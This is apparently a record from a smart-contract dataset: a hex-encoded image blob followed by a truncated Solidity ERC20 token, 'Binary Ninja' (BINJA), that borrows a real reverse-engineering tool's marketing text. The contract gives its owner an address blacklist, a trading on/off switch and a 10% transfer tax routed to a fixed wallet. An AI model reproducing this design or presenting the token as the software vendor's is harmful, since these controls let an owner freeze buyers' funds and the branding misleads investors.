173733d2245223e3c7061746820643d224d313720313168317631682d317a222f3e3c7061746820643d224d313820313168317631682d317a222f3e3c7061746820643d224d313920313168317631682d317a222f3e3c7061746820643d224d323020313168317631682d317a222f3e3c7061746820643d224d323120313168317631682d317a222f3e3c7061746820643d224d323220313168317631682d317a222f3e3c2f673e3c7061746820643d224d323320313168317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313820313268317631682d317a222f3e3c7061746820643d224d313920313268317631682d317a222f3e3c7061746820643d224d323020313268317631682d317a222f3e3c7061746820643d224d323120313268317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d323220313268317631682d317a6d2d34203168317631682d317a222f3e3c7061746820643d224d313920313368317631682d317a222f3e3c7061746820643d224d323020313368317631682d317a222f3e3c7061746820643d224d323120313368317631682d317a6d2d34203168317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d313820313468317631682d317a222f3e3c7061746820643d224d313920313468317631682d317a222f3e3c7061746820643d224d323020313468317631682d317a222f3e3c7061746820643d224d323120313468317631682d317a222f3e3c2f673e3c7061746820643d224d323220313468317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313720313568317631682d317a222f3e3c7061746820643d224d313820313568317631682d317a222f3e3c7061746820643d224d313920313568317631682d317a222f3e3c7061746820643d224d323020313568317631682d317a222f3e3c7061746820643d224d323120313568317631682d317a222f3e3c7061746820643d224d323220313568317631682d317a222f3e3c2f673e3c7061746820643d224d323320313568317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313620313668317631682d317a222f3e3c7061746820643d224d313720313668317631682d317a222f3e3c7061746820643d224d313820313668317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920313668317631682d317a222f3e3c7061746820643d224d323020313668317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d323120313668317631682d317a222f3e3c7061746820643d224d323220313668317631682d317a222f3e3c7061746820643d224d323320313668317631682d317a222f3e3c2f673e3c7061746820643d224d323420313668317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313620313768317631682d317a222f3e3c7061746820643d224d313720313768317631682d317a222f3e3c7061746820643d224d313820313768317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920313768317631682d317a222f3e3c7061746820643d224d323020313768317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d323120313768317631682d317a222f3e3c7061746820643d224d323220313768317631682d317a222f3e3c7061746820643d224d323320313768317631682d317a222f3e3c2f673e3c7061746820643d224d323420313768317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313620313868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313720313868317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d313820313868317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d313920313868317631682d317a222f3e3c7061746820643d224d323020313868317631682d317a222f3e3c2f673e3c7061746820643d224d323120313868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323220313868317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d323320313868317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323420313868317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313720313968317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313820313968317631682d317a2220636c6173733d2244222f3e3c6720636c6173733d2243223e3c7061746820643d224d313920313968317631682d317a222f3e3c7061746820643d224d323020313968317631682d317a222f3e3c2f673e3c7061746820643d224d323120313968317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d323220313968317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323320313968317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2243223e3c7061746820643d224d313820323068317631682d317a222f3e3c7061746820643d224d313920323068317631682d317a222f3e3c7061746820643d224d323020323068317631682d317a222f3e3c7061746820643d224d323120323068317631682d317a222f3e3c2f673e3c7061746820643d224d323220323068317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313720323168317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313820323168317631682d317a2220636c6173733d2245222f3e3c6720636c6173733d2243223e3c7061746820643d224d313920323168317631682d317a222f3e3c7061746820643d224d323020323168317631682d317a222f3e3c2f673e3c7061746820643d224d323120323168317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d323220323168317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323320323168317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313620323268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313720323268317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d313820323268317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d313920323268317631682d317a222f3e3c7061746820643d224d323020323268317631682d317a222f3e3c2f673e3c7061746820643d224d323120323268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323220323268317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d323320323268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323420323268317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313620323368317631682d317a222f3e3c7061746820643d224d313720323368317631682d317a222f3e3c7061746820643d224d313820323368317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920323368317631682d317a222f3e3c7061746820643d224d323020323368317631682d317a222f3e3c2f673e3c6720636c6173733d2245223e3c7061746820643d224d323120323368317631682d317a222f3e3c7061746820643d224d323220323368317631682d317a222f3e3c7061746820643d224d323320323368317631682d317a222f3e3c2f673e3c7061746820643d224d323420323368317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313620323468317631682d317a222f3e3c7061746820643d224d313720323468317631682d317a222f3e3c7061746820643d224d313820323468317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920323468317631682d317a222f3e3c7061746820643d224d323020323468317631682d317a222f3e3c2f673e3c6720636c6173733d2245223e3c7061746820643d224d323120323468317631682d317a222f3e3c7061746820643d224d323220323468317631682d317a222f3e3c7061746820643d224d323320323468317631682d317a222f3e3c2f673e3c7061746820643d224d323420323468317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313720323568317631682d317a222f3e3c7061746820643d224d313820323568317631682d317a222f3e3c7061746820643d224d313920323568317631682d317a222f3e3c7061746820643d224d323020323568317631682d317a222f3e3c7061746820643d224d323120323568317631682d317a222f3e3c7061746820643d224d323220323568317631682d317a222f3e3c2f673e3c7061746820643d224d323320323568317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313820323668317631682d317a222f3e3c7061746820643d224d313920323668317631682d317a222f3e3c7061746820643d224d323020323668317631682d317a222f3e3c7061746820643d224d323120323668317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d323220323668317631682d317a6d2d34203168317631682d317a222f3e3c7061746820643d224d313920323768317631682d317a222f3e3c7061746820643d224d323020323768317631682d317a222f3e3c7061746820643d224d323120323768317631682d317a6d2d34203168317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d313820323868317631682d317a222f3e3c7061746820643d224d313920323868317631682d317a222f3e3c7061746820643d224d323020323868317631682d317a222f3e3c7061746820643d224d323120323868317631682d317a222f3e3c2f673e3c7061746820643d224d323220323868317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313720323968317631682d317a222f3e3c7061746820643d224d313820323968317631682d317a222f3e3c7061746820643d224d313920323968317631682d317a222f3e3c7061746820643d224d323020323968317631682d317a222f3e3c7061746820643d224d323120323968317631682d317a222f3e3c7061746820643d224d323220323968317631682d317a222f3e3c2f673e3c7061746820643d224d323320323968317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313620333068317631682d317a222f3e3c7061746820643d224d313720333068317631682d317a222f3e3c7061746820643d224d313820333068317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920333068317631682d317a222f3e3c7061746820643d224d323020333068317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d323120333068317631682d317a222f3e3c7061746820643d224d323220333068317631682d317a222f3e3c7061746820643d224d323320333068317631682d317a222f3e3c2f673e3c7061746820643d224d323420333068317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2244223e3c7061746820643d224d313620333168317631682d317a222f3e3c7061746820643d224d313720333168317631682d317a222f3e3c7061746820643d224d313820333168317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920333168317631682d317a222f3e3c7061746820643d224d323020333168317631682d317a222f3e3c2f673e3c6720636c6173733d2244223e3c7061746820643d224d323120333168317631682d317a222f3e3c7061746820643d224d323220333168317631682d317a222f3e3c7061746820643d224d323320333168317631682d317a222f3e3c2f673e3c7061746820643d224d323420333168317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313620333268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313720333268317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d313820333268317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d313920333268317631682d317a222f3e3c7061746820643d224d323020333268317631682d317a222f3e3c2f673e3c7061746820643d224d323120333268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323220333268317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d323320333268317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323420333268317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313720333368317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313820333368317631682d317a2220636c6173733d2244222f3e3c6720636c6173733d2243223e3c7061746820643d224d313920333368317631682d317a222f3e3c7061746820643d224d323020333368317631682d317a222f3e3c2f673e3c7061746820643d224d323120333368317631682d317a2220636c6173733d2244222f3e3c7061746820643d224d323220333368317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323320333368317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2243223e3c7061746820643d224d313820333468317631682d317a222f3e3c7061746820643d224d313920333468317631682d317a222f3e3c7061746820643d224d323020333468317631682d317a222f3e3c7061746820643d224d323120333468317631682d317a222f3e3c2f673e3c7061746820643d224d323220333468317631682d317a6d2d36203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313720333568317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313820333568317631682d317a2220636c6173733d2245222f3e3c6720636c6173733d2243223e3c7061746820643d224d313920333568317631682d317a222f3e3c7061746820643d224d323020333568317631682d317a222f3e3c2f673e3c7061746820643d224d323120333568317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d323220333568317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323320333568317631682d317a6d2d38203168317631682d317a2220636c6173733d2242222f3e3c7061746820643d224d313620333668317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d313720333668317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d313820333668317631682d317a2220636c6173733d2243222f3e3c6720636c6173733d2242223e3c7061746820643d224d313920333668317631682d317a222f3e3c7061746820643d224d323020333668317631682d317a222f3e3c2f673e3c7061746820643d224d323120333668317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323220333668317631682d317a2220636c6173733d2245222f3e3c7061746820643d224d323320333668317631682d317a2220636c6173733d2243222f3e3c7061746820643d224d323420333668317631682d317a6d2d39203168317631682d317a2220636c6173733d2242222f3e3c6720636c6173733d2245223e3c7061746820643d224d313620333768317631682d317a222f3e3c7061746820643d224d313720333768317631682d317a222f3e3c7061746820643d224d313820333768317631682d317a222f3e3c2f673e3c6720636c6173733d2242223e3c7061746820643d224d313920333768317631682d317a222f3e3c7061746820643d224d323020333768317631682d317a222f3e3c2f673e3c6720636c6173733d2245223e3c7061746820643d224d323120333768317631682d317a222f3e3c7061746820643d224d323220333768317631682d317a222f3e3c7061746820643d224d323320333768317631682d317a222f3e3c2f673e3c7061746820643d224d323420333768317631682d317a2220636c6173733d2242222f3e2e427b66696c6c3a233133313031367d2e437b66696c6c3a236565323037337d2e447b66696c6c3a236666616133317d2e457b66696c6c3a233339323036617d3c7265637420783d22382220793d2232222077696474683d22323422206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22372220793d2233222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233322220793d2233222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22362220793d2234222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233332220793d2234222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22352220793d2235222077696474683d223122206865696768743d223233222066696c6c3d222332303232333722202f3e3c7265637420783d2233342220793d2235222077696474683d223122206865696768743d223233222066696c6c3d222332303232333722202f3e3c7265637420783d22362220793d223238222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233332220793d223238222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22372220793d223239222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233322220793d223239222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22382220793d223330222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233312220793d223330222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22392220793d223331222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2233302220793d223331222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231302220793d223332222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232392220793d223332222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231312220793d223333222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232382220793d223333222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231322220793d223334222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232372220793d223334222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231332220793d223335222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232362220793d223335222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231342220793d223336222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232352220793d223336222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231352220793d223337222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2232342220793d223337222077696474683d223122206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d2231362220793d223338222077696474683d223822206865696768743d2231222066696c6c3d222332303232333722202f3e3c7265637420783d22372220793d2234222077696474683d22313322206865696768743d2231352220636c6173733d226c22202f3e3c7265637420783d22382220793d2233222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d22362220793d2235222077696474683d223122206865696768743d2231342220636c6173733d226c22202f3e3c7265637420783d2232302220793d223139222077696474683d22313422206865696768743d22392220636c6173733d226c22202f3e3c7265637420783d2232302220793d223238222077696474683d22313322206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223239222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223330222077696474683d22313122206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223331222077696474683d22313022206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223332222077696474683d223922206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223333222077696474683d223822206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223334222077696474683d223722206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223335222077696474683d223622206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223336222077696474683d223522206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d223337222077696474683d223422206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d2233222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2232302220793d2234222077696474683d22313322206865696768743d2231352220636c6173733d226c22202f3e3c7265637420783d2233332220793d2235222077696474683d223122206865696768743d2231342220636c6173733d226c22202f3e3c7265637420783d22362220793d223139222077696474683d22313422206865696768743d22392220636c6173733d226c22202f3e3c7265637420783d22372220793d223238222077696474683d22313322206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d22382220793d223239222077696474683d22313222206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d22392220793d223330222077696474683d22313122206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231302220793d223331222077696474683d22313022206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231312220793d223332222077696474683d223922206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231322220793d223333222077696474683d223822206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231332220793d223334222077696474683d223722206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231342220793d223335222077696474683d223622206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231352220793d223336222077696474683d223622206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231362220793d223337222077696474683d223422206865696768743d22312220636c6173733d226c22202f3e3c7265637420783d2231302220793d2233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231382220793d2233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232362220793d2233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231342220793d2237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232322220793d2237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2233302220793d2237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231302220793d223131222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231382220793d223131222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232362220793d223131222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d22362220793d223135222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231342220793d223135222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232322220793d223135222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2233302220793d223135222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231302220793d223139222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231382220793d223139222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232362220793d223139222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d22362220793d223233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231342220793d223233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232322220793d223233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2233302220793d223233222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231302220793d223237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231382220793d223237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232362220793d223237222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231342220793d223331222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2232322220793d223331222077696474683d223422206865696768743d22342220636c6173733d227222202f3e3c7265637420783d2231382220793d223335222077696474683d223422206865696768743d22332220636c6173733d227222202f3e5d5d3e3c2f7374796c653e3c672069643d22696d61676522207472616e73666f726d3d227363616c652834203429223ea2646970667358221220cd14185215c6a5af6789c96d92a020217267fd70ee392d67ef04126fd1497b9164736f6c63430008070033
{"success": true, "error": null, "results": {}}
5,895
0x73397a062751c4d6ba7b97de368852fe046b6265
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /** WHAT IS BINARY NINJA? Binary Ninja is an interactive disassembler, decompiler, and binary analysis platform for reverse engineers, malware analysts, vulnerability researchers, and software developers that runs on Windows, macOS, Linux. *Disassemble Disassemble executables and libraries from multiple formats, platforms, and architectures. *Decompile Decompile code to C or BNIL for any supported architecture - including your own. *Automate Automate analysis with C++, Python, and Rust APIs from inside or outside the UI. *Analyze Visualize control flow and navigate through cross-references interactively. *Annotate Name variables and functions, apply types, create structres, and add comments. *Collaborate Collaborate effortlessly with synchronized commits using our Enterprise product. 0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101 WEBSITE:https://binary.ninja/ TG:https://t.me/BinaryNinja_eth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Vector35 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Binary Ninja"; string private constant _symbol = "BINJA"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1010101010 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x8697E86f5c18c67291515f06F398d3B3A181Be2D); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 10101010 * 10**9; uint256 public _maxWalletSize = 30303030 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { 